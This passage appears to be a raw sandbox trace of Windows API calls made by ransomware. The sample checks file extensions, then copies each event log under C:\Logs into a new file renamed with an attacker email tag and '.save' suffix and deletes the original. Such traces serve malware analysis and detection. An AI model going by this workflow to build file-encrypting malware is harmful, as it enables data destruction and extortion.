lstrlenW (lpString=".1cd") returned 4 [0062.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0062.528] lstrlenW (lpString=".jpg") returned 4 [0062.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.528] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.528] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0062.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0062.602] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0062.602] CloseHandle (hObject=0x398) returned 1 [0062.626] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0062.626] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.626] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.626] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0062.626] GetLastError () returned 0x0 [0062.626] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.650] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.652] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.652] WriteFile (in: hFile=0x394, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x136, lpOverlapped=0x0) returned 1 [0062.652] SetEndOfFile (hFile=0x394) returned 1 [0062.652] CloseHandle (hObject=0x394) returned 1 [0062.655] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.655] SetEndOfFile (hFile=0x370) returned 1 [0062.656] CloseHandle (hObject=0x370) returned 1 [0062.656] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0062.657] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0062.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.657] lstrlenW (lpString=".doc") returned 4 [0062.657] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".docx") returned 5 [0062.657] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.657] lstrlenW (lpString=".pdf") returned 4 [0062.657] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".xls") returned 4 [0062.657] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".xlsx") returned 5 [0062.657] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.657] lstrlenW (lpString=".ppt") returned 4 [0062.657] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.657] lstrlenW (lpString=".zip") returned 4 [0062.657] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".rar") returned 4 [0062.657] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".bz2") returned 4 [0062.657] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.657] lstrlenW (lpString=".7z") returned 3 [0062.657] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString=".dbf") returned 4 [0062.658] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString=".1cd") returned 4 [0062.658] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString=".jpg") returned 4 [0062.658] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString=".doc") returned 4 [0062.658] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".docx") returned 5 [0062.658] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0062.658] lstrlenW (lpString=".pdf") returned 4 [0062.658] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".xls") returned 4 [0062.658] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".xlsx") returned 5 [0062.658] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0062.658] lstrlenW (lpString=".ppt") returned 4 [0062.658] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.658] lstrlenW (lpString=".zip") returned 4 [0062.658] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".rar") returned 4 [0062.658] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".bz2") returned 4 [0062.658] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0062.658] lstrlenW (lpString=".7z") returned 3 [0062.658] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0062.658] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.659] lstrlenW (lpString=".dbf") returned 4 [0062.659] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0062.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.659] lstrlenW (lpString=".1cd") returned 4 [0062.659] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0062.659] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0062.659] lstrlenW (lpString=".jpg") returned 4 [0062.659] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0062.659] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0062.659] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48 [0062.659] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.659] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1052672) returned 1 [0062.659] CloseHandle (hObject=0x370) returned 1 [0062.659] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20 [0062.659] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0062.660] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.660] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0062.665] GetLastError () returned 0x0 [0062.665] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0063.034] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0063.053] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x1010, lpOverlapped=0x0) returned 1 [0063.063] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1020, lpOverlapped=0x0) returned 1 [0063.067] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.067] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x134, lpOverlapped=0x0) returned 1 [0063.067] SetEndOfFile (hFile=0x2f4) returned 1 [0063.067] CloseHandle (hObject=0x2f4) returned 1 [0063.985] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.985] SetEndOfFile (hFile=0x370) returned 1 [0064.079] CloseHandle (hObject=0x370) returned 1 [0064.079] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.079] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0064.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.080] lstrlenW (lpString=".doc") returned 4 [0064.080] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".docx") returned 5 [0064.080] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.080] lstrlenW (lpString=".pdf") returned 4 [0064.080] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".xls") returned 4 [0064.080] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".xlsx") returned 5 [0064.080] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.080] lstrlenW (lpString=".ppt") returned 4 [0064.080] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.080] lstrlenW (lpString=".zip") returned 4 [0064.080] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".rar") returned 4 [0064.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".bz2") returned 4 [0064.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString=".7z") returned 3 [0064.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.080] lstrlenW (lpString=".dbf") returned 4 [0064.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.080] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.080] lstrlenW (lpString=".1cd") returned 4 [0064.081] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.081] lstrlenW (lpString=".jpg") returned 4 [0064.081] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.081] lstrlenW (lpString=".doc") returned 4 [0064.081] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".docx") returned 5 [0064.081] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.081] lstrlenW (lpString=".pdf") returned 4 [0064.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".xls") returned 4 [0064.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".xlsx") returned 5 [0064.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.081] lstrlenW (lpString=".ppt") returned 4 [0064.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.081] lstrlenW (lpString=".zip") returned 4 [0064.081] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".rar") returned 4 [0064.081] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".bz2") returned 4 [0064.081] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.081] lstrlenW (lpString=".7z") returned 3 [0064.081] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.081] lstrlenW (lpString=".dbf") returned 4 [0064.081] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.082] lstrlenW (lpString=".1cd") returned 4 [0064.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56 [0064.082] lstrlenW (lpString=".jpg") returned 4 [0064.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.082] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.082] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0064.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.082] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0064.082] CloseHandle (hObject=0x370) returned 1 [0064.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0064.082] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.082] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.083] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.083] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0064.083] GetLastError () returned 0x0 [0064.083] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.088] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.632] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.632] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x154, lpOverlapped=0x0) returned 1 [0064.632] SetEndOfFile (hFile=0x36c) returned 1 [0064.632] CloseHandle (hObject=0x36c) returned 1 [0064.635] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.635] SetEndOfFile (hFile=0x370) returned 1 [0064.636] CloseHandle (hObject=0x370) returned 1 [0064.636] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.637] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0064.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.637] lstrlenW (lpString=".doc") returned 4 [0064.637] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".docx") returned 5 [0064.637] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.637] lstrlenW (lpString=".pdf") returned 4 [0064.637] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".xls") returned 4 [0064.637] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".xlsx") returned 5 [0064.637] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.637] lstrlenW (lpString=".ppt") returned 4 [0064.637] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.637] lstrlenW (lpString=".zip") returned 4 [0064.637] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".rar") returned 4 [0064.637] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".bz2") returned 4 [0064.637] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.637] lstrlenW (lpString=".7z") returned 3 [0064.637] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString=".dbf") returned 4 [0064.638] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString=".1cd") returned 4 [0064.638] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString=".jpg") returned 4 [0064.638] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString=".doc") returned 4 [0064.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString=".docx") returned 5 [0064.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.638] lstrlenW (lpString=".pdf") returned 4 [0064.638] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString=".xls") returned 4 [0064.638] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString=".xlsx") returned 5 [0064.638] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.638] lstrlenW (lpString=".ppt") returned 4 [0064.638] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.638] lstrlenW (lpString=".zip") returned 4 [0064.638] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.639] lstrlenW (lpString=".rar") returned 4 [0064.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.639] lstrlenW (lpString=".bz2") returned 4 [0064.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.639] lstrlenW (lpString=".7z") returned 3 [0064.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.639] lstrlenW (lpString=".dbf") returned 4 [0064.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.639] lstrlenW (lpString=".1cd") returned 4 [0064.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0064.639] lstrlenW (lpString=".jpg") returned 4 [0064.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.640] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.640] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0064.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.640] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0064.640] CloseHandle (hObject=0x370) returned 1 [0064.640] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0064.640] GetFileAttributesW 